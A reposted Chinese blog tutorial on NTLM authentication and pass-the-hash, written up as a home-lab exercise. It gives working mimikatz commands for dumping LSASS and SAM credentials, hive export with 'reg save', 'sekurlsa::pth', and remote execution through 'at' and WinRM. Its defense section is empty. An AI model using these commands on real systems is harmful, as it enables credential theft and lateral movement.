[Credential Access] NTLM認證與哈希傳遞


一、引子

在未打KB2871997補丁的win7系統上,使用mimikatz執行以下命令:

# 注:為了與lsass.exe交互,需要以administrator權限啟動mimikatz並獲得debug權限;或者以system權限啟動mimikatz
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

 

mimikatz從Lsass.exe中dump出了一堆明文密碼和NTLM Hash, 其中的msv, tspkg, wdigest, kerberos等等都對應不同的ssp(security service provider), 代表不同的windows 認證方式。

可以看到,Lsass.exe里不僅緩存了本地賬戶test的明文密碼和NTLM Hash,還有使用此機器遠程桌面連接到sec/lucy的明文密碼。

 

 

 

二、LSA(Local Security Authority)服務

即本地安全權限服務,用於管理本地安全和登錄策略,像驗證用戶登錄、修改密碼、新建訪問令牌都會涉及到LSA。

主進程是Lsass.exe,其中Lsasrv.dll實現了Local Security Authority service的大部分功能,它會加載各類ssp dll,用於支持各種不同的windows驗證方式。比如,Kerberos協議多用於域環境下身份驗證,NTLM多用於工作組環境身份驗證,CredSSP用於RDP遠程桌面連接驗證。

而Lsass.exe會緩存用戶憑據,有明文形式(嚴格來說應該是可逆加密的明文)也有Hash,這取決於不同ssp的實現方式。

LSASS常見的ssp 認證包(Security Support Provider authentication packages ) 有:

 

 

LSASS會存儲的憑據有:

 

 接下來,我們重點關注下NTLM Msv1_0.dll 這條線,這是后面哈希傳遞的基礎。

1. SAM database

SAM是管理SAM database的服務,SAM database中存儲了本地用戶的密碼Hash信息;早期windows使用LM Hash,但其易於破解,從windows Vista和windows server 2008開始默認禁用LM Hash;現在使用的是NTLM Hash。

SAM database存儲在HKLM\SAM中,訪問它需要system權限。可通過regedit 查看HKLM\SAM: 以Administrator權限,執行".\PsExec.exe -accepteula -i -s regedit.exe" ,就可以以system權限啟動regedit.exe了。

注意,SAM database只存儲本地用戶的憑據,不會存登錄過的域賬號的憑據,在域控制器上 SAM 文件相當於活動目錄數據庫文件 ntds.dit。

 

用mimikatz 在線dump NTLM Hash

首先run as Administrator, 此時mimikatz進程是high integrity,訪問SAM database需要System權限,所以需要再提權。

 也可以類似上面使用PsExec.exe -s 啟動mimikatz,此時mimikatz進程是system integrity,這時候直接執行"lsadump::sam"即可。

 

用mimikatz 離線dump NTLM Hash

如果目標機器沒有裝相應軟件,則可以先dump出SAM文件和System文件(run as Administrator)

>  出於安全性的考慮在后期的 windows 系統中 SAM 文件中被 bootkey 加密,而 bootkey 則保存在這個SYSTEM 文件下。因此單獨的 SAM 文件是無法正常解讀的如果需要解密則還需要加載對應系統的 system 文件。

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

 再用mimikatz從SAM文件中讀取HASH(此時就不需要高權限了)

mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

 

拿到了密碼的NTLM Hash,第一想到的是破解,但如果不是字典強大、或者密碼已經猜了個八九不離十,很難破解出來,感興趣可以用john ripper或hash cat體驗一下破解NTLM Hash。

那拿到了NTLM Hash怎么橫向移動呢? 這里引出了NTLM認證

 

2. NTML認證

注: NTML認證這塊的文章,有的把NTLM認證分工作組環境和域環境,有的分為交互環境和非交互環境。我看着都覺得部分情況不能自圓其說,所以就直接按例子來說吧。

本地認證(本地賬戶登錄)

將用戶輸入的密碼加密為NTLM HASH后與SAM中的NTLM比較,若一致則認證通過

 

 

兩方: client與server/DC (域賬戶登錄需要DC認證,已登錄賬戶需要訪問工作組環境里server資源,需要server認證)

 

 

三方: client, server和DC (已登錄賬戶,想訪問域中server資源,需要DC認證)

 

 

三、Pass the Hash

在上面的第三步中,客戶端用本地NTLM Hash加密challenge生成response發送給服務端。可以看到,盡管沒有明文密碼,但如果拿到了NTLM Hash,就能用它加密challenge,完成驗證。

 

這里mimikatz替換了內存中的NTLM hash值,啟動了一個powershell,可在這個命令行環境中控制遠程目標機器。(本來也拿到了test 用戶的NTLM Hash,但用它橫向移動時一直是permission denied,還不知道原因)

mimikatz # sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:******************************** /run:powershell.exe

 

 

Pass the Hash 只是一種無明文認證的手段,我們還需要針對具體的服務進行攻擊。這里以smb服務為例,smb服務使用了NTLM認證

1. 讀文件、拷貝本地文件到遠程主機都沒什么問題

 

2. 列出遠程機器進程列表

 

3. 創建定時任務來執行命令,at 命令或schtasks命令,啟動的子進程是System權限,nice~

PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe
AT 命令已棄用。請改用 schtasks.exe。

新加了一項作業,其作業 ID = 3

 創建定時任務來執行命令不太方便,如果有直接在powershell 命令行環境可以遠程執行命令的方法再補充。

 

4. 使用winrm來遠程執行命令

目標機上開啟winrm服務:

Enable-PSRemoting -Force

 

 使用此powershell命令開啟winrm服務,會幫忙把防火牆規則也設置好,否則還是無法接收winrm命令。

 

攻擊機上,將目標機加入trust host(工作組環境才需要做這一步)

Set-Item wsman:\localhost\client\trustedhosts 192.168.240.134
Restart-Service Winrm

 

攻擊機上,使用mimikatz pass the hash和winrm控制目標機

 

 

 

 

 

PSSession是一個交互式命令會話窗口,也可以直接使用Invoke-Command執行命令或腳本文件

PS C:\Windows\system32> Invoke-Command -ComputerName win10-pc -ScriptBlock {Get-ChildItem c:\}


    Directory: C:\


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d-----        2019/3/19     12:52                PerfLogs                            win10-pc
d-r---        2020/3/12     15:53                Program Files                       win10-pc
d-r---        2020/3/13     11:20                Program Files (x86)                 win10-pc
d-----        2020/3/12     17:08                RedTeam                             win10-pc
d-----        2020/3/12     17:08                totalcmd                            win10-pc
d-r---        2020/3/12     14:33                Users                               win10-pc
d-----        2020/3/13     10:14                Windows                             win10-pc

 

 

其他有用的命令

# Enable PowerShell Remoting on the target (box needs to be compromised first)
Enable-PSRemoting -force
​
# Check if a given system is listening on WinRM port
Test-NetConnection <IP> -CommonTCPPort WINRM
​
# Trust all hosts:
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
​
# Check what hosts are trusted
Get-Item WSMan:\localhost\Client\TrustedHosts
​
# Execute command on remote host
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}
​
# Interactive session with explicit credentials
Enter-PSSession <host> -Credential <domain>\<user># Interactive session using Kerberos:
Enter-PSSession <host> -Authentication Kerberos
​
# Upload file to remote session
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)
​
# Download file from remote session
Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession)

# 清除pssession
Remove-PSSession -ComputerName <host>

# 重啟winrm 服務
Restart-Service Winrm

 

 

四、防御 待補充

 

 

五、參考

https://xz.aliyun.com/t/6600#toc-1

http://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-the-Limitations-of-mitigation-methods/#%E5%B7%A5%E4%BD%9C%E7%BB%84%E7%8E%AF%E5%A2%83

https://1sparrow.com/2019/12/04/Windows%20%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84/

https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5

https://ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement

Cached and Stored Credentials Technical Overview


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM